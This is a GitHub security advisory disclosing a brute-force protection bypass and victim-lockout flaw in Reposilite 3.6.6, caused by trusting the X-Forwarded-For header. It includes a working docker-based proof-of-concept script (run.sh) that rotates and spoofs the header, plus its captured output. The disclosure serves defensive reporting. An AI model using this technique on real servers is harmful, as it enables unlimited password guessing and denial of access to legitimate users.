Skip to main content
Menu
Advisories

Brute-force protection bypass and victim lockout via X-Forwarded-For

GHSA-57PM-8JXC-FH3GPublished Updated GitHub

Description

Summary: With brute-force protection enabled, the failed-attempt counter is keyed on the X-Forwarded-For header value (WebSettings.forwardedIp default), which the client controls whenever the proxy does not strip it (nginx $proxy_add_x_forwarded_for appends, direct exposure trusts it fully).

Affected versions: 3.6.6 (tested with official image dzikoysk/reposilite:3.6.6); likely earlier.

Steps to reproduce: Enable bruteForceProtection (maxAttempts 10). Send 14 wrong secrets with no header: the IP is blocked (correct secret then returns 401). Send the correct secret with a fresh X-Forwarded-For: 200. Send 12 wrong attempts with X-Forwarded-For: 203.0.113.7: a client with that address is locked out (401 with the correct secret), 203.0.113.8 gets 200. The attached zip contains run.sh (needs docker) and output.txt from a run of the packaged files.

Expected result: The ban is keyed on the real peer address or a trusted-proxy-validated value.

Actual result: Ban evaded by rotating the header; a third party IP can be locked out.

Impact: Unlimited online guessing despite the feature, plus targeted lockout. Feature is off by default.

Suggested fix: Only honour the forwarded header from configured trusted proxy addresses; otherwise use the socket address.

Dedupe: searched dzikoysk/reposilite issues, PRs, the 4 published security advisories (XSS/javadoc path traversal), and commits touching the file; nothing matching.

Please assign a CVE if you agree this is a vulnerability.

Credit: Zachariah Mithani (AploSec)

PoC files (attached zip contents inline)

run.sh

set -u
N=poc-reposilite
docker rm -f $N-2 >/dev/null 2>&1; docker network rm $N-net2 >/dev/null 2>&1; docker network create $N-net2 >/dev/null
trap "docker rm -f $N-2 >/dev/null 2>&1; docker network rm $N-net2 >/dev/null 2>&1" EXIT
docker run -d --name $N-2 --network $N-net2 -e REPOSILITE_OPTS="--token admin:adminsecret" dzikoysk/reposilite:3.6.6 >/dev/null
U=http://$N-2:8080
cat > /tmp/xff.sh <<"IN"
U=$1
attempt() { curl -s -o /dev/null -w "%{http_code}" -m 10 -u admin:wrong "$@"; }
for i in $(seq 40); do curl -s -o /dev/null $U/api/status/instance && break; sleep 2; done
curl -s -u admin:adminsecret -X PUT -H "Content-Type: application/json" $U/api/settings/domain/authentication -d "{\"bruteForceProtection\":{\"enabled\":true,\"maxAttempts\":10,\"banDurationSeconds\":300},\"ldap\":{\"enabled\":false,\"ssl\":false,\"hostname\":\"x\",\"port\":389,\"baseDn\":\"dc=a\",\"searchUserDn\":\"x\",\"searchUserPassword\":\"x\",\"typeAttribute\":\"person\",\"userAttribute\":\"cn\",\"userFilter\":\"(x)\",\"userType\":\"PERSISTENT\"}}" -w "settings PUT %{http_code}\n"
echo "== control: 14 wrong guesses, same source IP, no header"; for i in $(seq 14); do printf "%s " $(attempt $U/api/tokens/admin); done; echo
echo "== correct secret from same blocked IP (control, expect 401 = blocked):"; curl -s -o /dev/null -w "%{http_code}\n" -u admin:adminsecret $U/api/tokens/admin
echo "== same correct secret with a fresh X-Forwarded-For (expect 200 = ban evaded):"; curl -s -o /dev/null -w "%{http_code}\n" -u admin:adminsecret -H "X-Forwarded-For: 10.1.1.1" $U/api/tokens/admin
echo "== attack 1: 14 wrong guesses, rotating X-Forwarded-For"; for i in $(seq 14); do printf "%s " $(attempt -H "X-Forwarded-For: 10.9.9.$i" $U/api/tokens/admin); done; echo
echo "== attack 2: victim IP 203.0.113.7 locked out by attacker"
for i in $(seq 12); do attempt -H "X-Forwarded-For: 203.0.113.7" $U/api/tokens/admin >/dev/null; done
echo "other client (XFF 203.0.113.8) correct secret, expect 200:"; curl -s -o /dev/null -w "%{http_code}\n" -u admin:adminsecret -H "X-Forwarded-For: 203.0.113.8" $U/api/tokens/admin
echo "victim (XFF 203.0.113.7) with CORRECT secret, expect 401 (locked out):"; curl -s -w " %{http_code}\n" -u admin:adminsecret -H "X-Forwarded-For: 203.0.113.7" $U/api/tokens/admin
IN
docker run --rm --network $N-net2 -v /tmp/xff.sh:/x.sh:ro curlimages/curl:8.10.1 sh /x.sh $U

README.txt

Reposilite 3.6.6 PoC (xff). Run: bash run.sh  (docker required; uses official dzikoysk/reposilite:3.6.6)

output.txt

{"bruteForceProtection":{"enabled":true,"maxAttempts":10,"banDurationSeconds":300},"ldap":{"enabled":false,"ssl":false,"hostname":"x","port":389,"baseDn":"dc=a","searchUserDn":"x","searchUserPassword":"x","typeAttribute":"person","userAttribute":"cn","userFilter":"(x)","userType":"PERSISTENT"}}settings PUT 200
== control: 14 wrong guesses, same source IP, no header
401 401 401 401 401 401 401 401 401 401 401 401 401 401 
== correct secret from same blocked IP (control, expect 401 = blocked):
401
== same correct secret with a fresh X-Forwarded-For (expect 200 = ban evaded):
200
== attack 1: 14 wrong guesses, rotating X-Forwarded-For
401 401 401 401 401 401 401 401 401 401 401 401 401 401 
== attack 2: victim IP 203.0.113.7 locked out by attacker
other client (XFF 203.0.113.8) correct secret, expect 200:
200
victim (XFF 203.0.113.7) with CORRECT secret, expect 401 (locked out):
{"status":401,"message":"Invalid authorization credentials"} 401

Affected versions

References

GitHub · dzikoysk/reposilite